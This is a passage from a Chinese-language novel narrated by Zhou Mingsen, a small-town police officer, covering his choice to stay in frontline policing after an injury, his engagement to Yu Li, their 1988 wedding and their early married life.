我愣住了,心里像被什么东西撞了一下。是啊,我甘心吗?想起蹲点抓贼时的紧张,想起破案后的畅快,想起老百姓感激的眼神,那些画面在脑子里一一闪过,心里的不舍越来越浓。
“我知道你担心家里。”老局长继续说,“局里考虑过了,不给你安排危险的任务,尽量让你在镇上处理些治安案件,不用总往外跑。等你腿彻底好了,再看看情况,怎么样?”
从局长办公室出来,阳光有点晃眼。我拄着拐杖慢慢走在街上,心里五味杂陈。一方面,舍不得一线的工作,那里有我的热情和初心;另一方面,又怕于丽和家长们担心,尤其是于丽,她已经为我担了太多心。
回到家,于丽正在厨房做饭,听到动静,迎了出来:“局里怎么说?”
我把局长的话告诉了她,低着头不敢看她的眼睛:“对不起,丽,我……”
“对不起什么?”她打断我,声音里带着笑意,“我觉得局长说得对。这才是我认识的周明森嘛,要是你真去了机关,天天坐在办公室里看文件,我反而会觉得遗憾。”
我猛地抬头,看着她:“你不生气?”
“我为什么要生气?”她走过来,帮我把拐杖放好,“我喜欢的,就是那个冲在前面办案的周明森,不是一个为了安稳就放弃初心的人。至于担心……”她笑了笑,眼里闪着光,“哪有不担心的?但我更不想你不开心。你放心,我会跟爸妈解释的,他们会理解的。”
那天晚上,于丽真的找双方父母谈了。我不知道她具体说了什么,只知道第二天我妈来看我时,虽然还是有点担心,却没再提调岗的事,只是反复叮嘱:“以后可得小心点,别再受伤了。”
于丽的父母也松了口,于父还特意跟我说:“年轻人有担当是好事,但记住,家里还有小丽等着你,做什么事都得留点心。”
我知道,这背后是于丽做了多少工作,说了多少好话。看着她为我忙前忙后,还笑着安慰我“别多想”,我心里又暖又酸,暗暗发誓,以后一定要更小心,不能再让她为我流泪了。
婚事很快提上了日程。双方家长商量后,把婚期定在了一九八八年的五一劳动节。春天是个好季节,不冷不热,地里的麦子开始抽穗,到处都是生机勃勃的样子,像极了我们此刻的心情。
婚礼前的一个晚上,我腿已经好得差不多了,能慢慢走路了。于丽来我家帮着收拾东西,忙完后,我们在派出所的小院里散步。春夜的风很温柔,带着院子里桃树的花香,月光洒在地上,像铺了层银霜。
“小丽,”我停下脚步,从口袋里掏出一个小小的木盒子,心里有点紧张,手心都出汗了,“这是我奶奶留给我的,她说要传给孙媳妇。”
于丽好奇地打开盒子,里面是一只玉镯,颜色是淡淡的青白色,不算什么名贵的料子,但打磨得十分光滑,边缘都有些磨损了,显然有些年头了。“真漂亮。”她轻轻抚摸着玉镯,眼神里带着温柔。
“我帮你戴上。”我小心翼翼地拿出玉镯,她伸出手腕,白皙的皮肤在月光下透着淡淡的光泽。玉镯有点紧,我费了点劲才戴进去,刚戴好,她的手腕上就留下了一圈浅浅的红痕。
“大小正合适,”我看着玉镯在她手腕上晃了晃,笑着说,“就像专门为你准备的一样。”
她抬起手,玉镯在月光下泛着温润的光泽,和她的笑容一样,让人心里暖暖的。“明森,”她看着我,眼里闪着幸福的光,“我知道当警察的妻子不容易,以后可能要经常一个人吃饭,一个人睡觉,还要提心吊胆。但我已经准备好了,不管以后遇到什么困难,我都会在你身边支持你。”
我再也忍不住,一把将她拥入怀中。她的头发蹭在我的下巴上,软软的,带着洗发水的香味。“我何德何能,能遇到你这样的好姑娘。”我轻声说,声音有点哽咽。
她在我怀里轻轻点了点头,没说话,只是抱得更紧了。院子里的桃花被风吹落了几片,飘在我们身上,像撒了把粉色的星星。
婚礼的日子一天天临近,我和于丽都在偷偷期待着。于丽开始绣嫁妆,枕套上绣着鸳鸯戏水,被面上是龙凤呈祥,针脚细密,颜色鲜亮。我则拜托段旭帮我挑了块红布,打算给她做件新衣裳。
属于我们的故事,才刚刚拉开序幕。
六:喜结连理
一九八八年五月一日的黎明,昝岗镇还笼罩在薄薄的晨雾中,空气里带着点湿冷的凉意。我家的小院里却已经灯火通明,人声鼎沸。堂屋里,我妈正指挥着亲戚们贴喜字,“左边点,再左边点,对,就这样!”;院子里,我爸和几个叔伯正搭着临时的灶台,火光映得他们脸上红彤彤的;厨房里,婶子们忙着摘菜剁肉,叮叮当当的声音此起彼伏。
我其实一夜没怎么睡,天不亮就醒了,躺在炕上翻来覆去,心里像揣了只兔子,砰砰直跳。此刻,我站在镜子前,身上穿着崭新的警服——这是所里特意给我批的新制服,胸前的警号在灯光下闪闪发光。
“好了,好了,别动。”我妈走过来,替我抚平衣领,又把警帽戴正,眼圈微微发红,“我儿子今天真精神。”
我咧嘴笑了笑,想说句让她放心的话,喉咙却有点发紧。这时,段旭带着所里的几个年轻民警涌了进来,个个穿着整洁的警服,脸上带着促狭的笑。
“新郎官,准备好了没?吉时快到了,该去接新娘子啦!”段旭拍着我的肩膀,力道不轻,眼里满是兴奋。
“走走走!”我深吸一口气,压下心头的激动,转身往外走。迎亲的队伍浩浩荡荡,自行车队在前面开路,车把上都系着红绸带,叮铃铃的车铃声在清晨的街道上格外清脆。
到了粮管所宿舍楼下,早有于丽的同事们守着门,嬉笑着拦在楼梯口。“想接新娘子?没那么容易!”一个梳着马尾辫的姑娘喊道,“先回答问题!周警官,请问你第一次见于丽同志是什么时候?对她的第一印象是什么?”
我想都没想就答:“去年麦收后的第一个集日,她来所里送报表,穿着蓝色的确良衬衫,扎着马尾,说话特别温柔。”
“不错不错,过关!”众人笑着让开一条缝,刚上两级台阶,又被拦住。“再来一个!”有人喊,“你说句情话给新娘子听!”
周围哄堂大笑,我脸上发烫,却还是大声说:“于丽,往后余生,我护着你!”
门“吱呀”一声开了,于丽就站在屋里,穿着一身红嫁衣,头发梳成了发髻,插着亮晶晶的头饰,脸上带着羞涩的笑,像画上走下来的人。我的心跳瞬间漏了一拍,愣愣地看着她,忘了该做什么。
“傻站着干嘛?快接新娘子啊!”段旭推了我一把。
我这才回过神,快步走到她面前,伸出手。她轻轻把手放进我的手心,温热的触感传来,我紧紧握住,像是握住了全世界。
拜堂仪式在我家小院举行,院子里挤满了乡亲。当司仪喊“夫妻对拜”时,我看着于丽微微低头,红盖头下的嘴角扬着,心里甜得像喝了蜜。
婚后的日子,平淡却温馨。我依旧在派出所工作,只是比以前更谨慎,每次出警前,于丽总会叮嘱一句“注意安全”,回来时,不管多晚,桌上总有一碗热乎的饭菜。
秋收时节,镇上的粮库需要人手帮忙看守,我主动申请了夜班。于丽不放心,每晚都陪着我去,在值班室里缝缝补补,或者看书。月光透过窗户洒进来,照在她安静的侧脸上,我觉得,这就是最好的时光。
有天夜里,我巡逻回来,看到于丽趴在桌上睡着了,手里还攥着给我织了一半的毛衣。我轻轻把她抱到行军床上,给她盖好被子。看着她眉头微蹙,像是在做什么梦,我心里暗暗发誓:一定要好好工作,好好守护这个家,不让她受一点委屈。
日子就像院里的老槐树,慢慢生长,枝繁叶茂。第二年春天,于丽告诉我她怀孕了,我高兴得在院子里转了好几个圈,差点撞到晾衣绳。
那天晚上,我摸着她还平坦的小腹,轻声说:“宝宝,我是爸爸。爸爸是警察,以后爸爸保护你和妈妈。”
于丽笑着拍了我一下:“别吓到孩子。”
我握住她的手,放在唇边轻轻吻了一下。窗外的月光正好,我知道,属于我们的故事,还有很长很长……

